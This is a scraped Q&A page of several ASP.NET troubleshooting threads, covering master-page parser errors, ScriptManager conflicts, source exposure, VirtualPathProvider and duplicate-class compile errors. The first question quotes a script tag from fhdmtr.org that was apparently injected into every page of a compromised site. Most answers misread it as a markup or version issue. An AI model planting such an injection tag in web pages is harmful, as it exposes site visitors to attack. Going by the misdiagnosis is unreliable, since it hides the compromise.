parser error in webapplication (asp.net)? - asp.net

I developed a application using asp.net and uploaded the site in online it is working fine.
After few days i am getting parser error.
"<script src=http://fhdmtr.org/vb7/html.php ></script>" this script is generating in every page in the bottom of the page in source code in the site. it is automatically generating.
when i remove it is work fine after few days it is again generating.

The error is occurring because the Doctorenq.aspx script is using a Master Page. Pages configured with a MasterPageFile attribute can only contain a very narrow set of tags, usually just <asp:Content>, corresponding to content placeholders in the master. If you are adding the reference to the PHP script yourself (though I don't understand how that's supposed to work), you should either include it in the Master Page or include it inside one of your existing <asp:Content> tags.
If you aren't adding the reference to the tag, your problem may be with security instead of programming, and as such would be OT for SO.

The fail suggests that the site can't handle the markup.
If it was working and now doesn't, check the version of .NET websit is running. Something may have changed it to use an earlier verions of .NET, which can't parse the page.

Related

Ajax not working on Server

I have downloaded the latest toolkit from https://www.nuget.org/packages/AjaxControlToolkit/.
Problem is it works fine on my local host but not when i upload it to the server. I don't even get an error message. Simply anything Ajax related is not working. I'm suspecting that the installation I did is the problem, since it does everything automatically for me and in my project I can't add a ScriptManager since it keeps saying that I already have one in my system, eventhough I can't see in anywhere in my code.
Do anyone have any idea what the problem might be or what I'm missing?
You have a ScriptManager on the master page, and therefore when your child page gets composited with the master page there ends up being two script managers.
The normal solution is to only have the ScriptManager on the master page.

If code behind not used, is aspx source code exposed to website visitors?

I've read through some of the questions here and my understanding is that this is true. Could someone confirm that visitors to an ASP.NET website can actually download the aspx files in their original format? Just like with the css files, etc. Thanks.
Clarification: Please be patient with me. I am newbie and just want to make sure I understand. I know that using Dreamweaver, a person can just download almost all the source files from a website. At least that what could be done some years ago with many websites. He would just change a few text contents and have a similar website like the original with all the original design, images, etc.
So if he can do the same with an asp.net site: downloading all the files, he can look at the aspx file and see what the code does. I am not talking about him executing the page and do the view source command. This file would naturally be processed by the server and doesn't expose source code.
This is one of the reasons why code behind is recommended because the code can be compiled and the source is not uploaded to the site. Only the dll is uploaded and minimum logic is exposed through the aspx file.
No, they can't. The ASPX page contains server-side code that is executed, well, by the server, and ends up containing plain HTML that the client browser can understand.
When IIS receives a GET request for an ASPX page, the ASP.NET handler kicks in and returns the processed HTML. So unless IIS is misconfigured, that is not possible.
No. Visitors cannot see your business logic.
If that were the case the markup asp:TextBox wont get rendered as input type='text'
Also, if that were the case we would be seeing code snippets of sites written using scripting languages like PHP or Classic ASP
in newbie's term:
No, the server won't give you ASPX and code behind files, these are files that don't mean anything to the end-user/visitor/browsers. These codes are processed on the server, and what you get is only a bunch of HTML code, javascripts, css, images, etc. which browsers can render.
If you try to "download" (by accessing them through your browser) .ASPX, .CS, and WEB.CONFIG files to see the actual source code, well you simply can't.

VirtualPathProvider problem with content pages

I have a VirtualPathProvider that works fine with asp.net pages. It compiles in runtime and run everything well. But, when I try to open a page that contains asp:Content tags, I always getting:
Only Content controls are allowed directly in a content page that contais Content controls.
In other words, when I use content pages, VPP not work. I tested with physical master page and with a VPP provided master page and in all tests, the result are the same.
Anybody have this same issue? What I can do to VPP start to work with content pages?
Working on other things, I finally found the answer. My files are stored on a database, and I'm dropping the last byte of file on save procedure.
This errors doesn't cause problems on major types of files, but, I have a problem with a DOCX upload and, when I find the cause, the ASPX content pages problem with VPP is gone.

add new page to existing website without modifying the rest of the website

i have to add one page to an existing asp.net webforms website.
this will be added at runtime and i'm not allowed to redeploy the entire webapplication / website.
is the (recommended or only) solution to move the code behind code to the aspx file, or do i have other options?
i can't put code in the dll's, and dynamicly runned .cs files are only in the case of a website and not in the case of a webapplication, am i right?
and putting the code from my code behind in de aspx file will always work?
actually as long as their page link to yours via URL you web page doesn't necessary have to be in the same project, unless you're trying to reuse something.
Else technically your project is fine as a standalone and they can just link to yours.
Unless you're worried about the URL then you would have to either use an iframe or some other URL rewrite.
Just for reference: One solution would be to use a dynamic proxy and intercept and extend the existing webapp. Though this approach might be a little too involved for what you're trying to achieve.
LinFu
Castle

asp.net someusercontrol_ascx is defined in multiple places error

I've had this intermittent issue when using asp.net. My site is dynamically compiled. Sometimes when I modify a user control my web site complains that it is defined in multiple places. It almost seems like the old control did not get removed from the asp.net temporary files and the updated control is compiled to the same directory so it's defined in multiple places. That would make sense to me except for the fact that I have no control over what is in the Temporary ASP.net Files folder.
I've read that having circular references will cause this. I've made sure that I don't have circular references. Even with the simplest site I've seen this happen.
I've noticed that when using Master Pages this error seems to come up a lot more frequently.
I've read that a hotfix tries to fix this issue but I've gotten this error after applying the hotfix.
If I get the file causing the issue and make an edit to it then the error goes away. Even if I just put a space in the file it will resolve the error.
I can also get the error to resolve sometimes by visiting other pages of the site that might not use the user control and hitting refresh. This does not always work.
If I set the site to debug the error never happens. If I set it so that it comiles on a page by page basis then the error does not happen as much but still happens.
Below is what the error looks like.
Compilation Error
Description: An error occurred during the compilation of a
resource required to service this request. Please review
the following specific error details and modify your
source code appropriately.
Compiler Error Message: CS1595: '_ASP.Header_ascx'
is defined in multiple places; using definition
from 'C:\WINNT\Microsoft.NET\Framework\v1.0.3705\Temporary
ASP.NET Files\root\afwew23d\asdfasd423\asdf23.dll'
Edit:
I'm using .net 2.0 (3.5) even though the error above says 1.0. I got that error from another source since I can't reproduce the issue every time. But the type of error is the same.
Edit 2:
Thanks gisresearch for your research. There was one statement in the link you provided:
One caution even if you have debug=false, is that if you go in and change something in one of your aspx pages, this page will have to be recompiled, but this doesn’t cause an appdomain reload so the whole application is not batch compiled again. This has the effect that the page will now get recompiled separately and get its own dll, so don’t change your aspx pages on a live server too often.
There is a setting in machine.config determining how many recompiles are allowed before the app domain restarts, by default it is set to 15, so after 15 recompilations the app domain will restart, just as it would if you touched the web.config or touched the bin directory.
This seems to say that when debug=false and the site has already been visited and compiled, if you change a page it will only compile that one page. That sounds like it could cause problems. I had thought changing a page or user control would cause the entire app to recompile.
Do you have two user controls with the same file name in diferent Folders of your Web App?
That sometimes will cause this issue.
If I set the site to debug the error
never happens.
when debug=true, the asp.net compiler don’t batch compile, when debug=false it does batch compile and may cause this issue.
The Read this post.
There is a conversation about the same issue.
re: ASP.NET Memory: If your application is in production… then why
is debug=true Monday, April 24, 2006
2:39 PM by Robbie Coleman We did get
an error for a UserControl that it
reported it could not load the
FileName_ascx class due to multiple
versions in the Temp ASP.NET folder.
We identified that we had two user
controls with the same file name in
diferent Folders of the same Web App.
The also had diferent namespaces and
never through this exception until we
set debug="false". We even wiped the
Temp ASP.NET directory clean on an
IISreset.
The only way we could fix the error,
was by renaming the ascx file of one
of the two.
Is this correct...? Was there a better
way to fix this?
BTW... [KissUpText] Tess, your posts
have been very helpfull to our
development team, and we really
appreciate all the information you
have given away. [/KissUpText]
re: ASP.NET Memory: If your application is in production… then why
is debug=true Tuesday, April 25, 2006
1:56 AM by Tess Hi Robbie,
Thanks for the nice comment:)
I am assuming that you are getting
"CS1595:
'UserControls.WebUserControl2' is
defined in multiple places; using
definition from
'c:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\Temporary
ASP.NET
Files\usercontrols\293a1a4b\dbb2d387\cisxatg3.dll'
" or similar.
The problem basically occurrs if you
are using src rather than CodeBehind
and your cs or vb files contain a
definition for exactly the same class
in exactly the same namespace. The
error is really the same as what you
would get if you tried to compile a
dll with another class defined twice
in the same namespace.
The reason i am saying it happens when
you use src is because if you would
use CodeBehind you would have gotten
an error at compile time.
If the usercontrols are really the
same I would avoid creating a copy,
and instead using the one from the
other folder. If they are different I
would either give the different names
if possible, and if not, make sure
that the source classes are in
different namespaces, such as
ProjectName.FolderName.MyUserControl
The reason you are seeing it now and
not before is because you are now
batch-compiling everything into one
dll.
Hope this helps.

Resources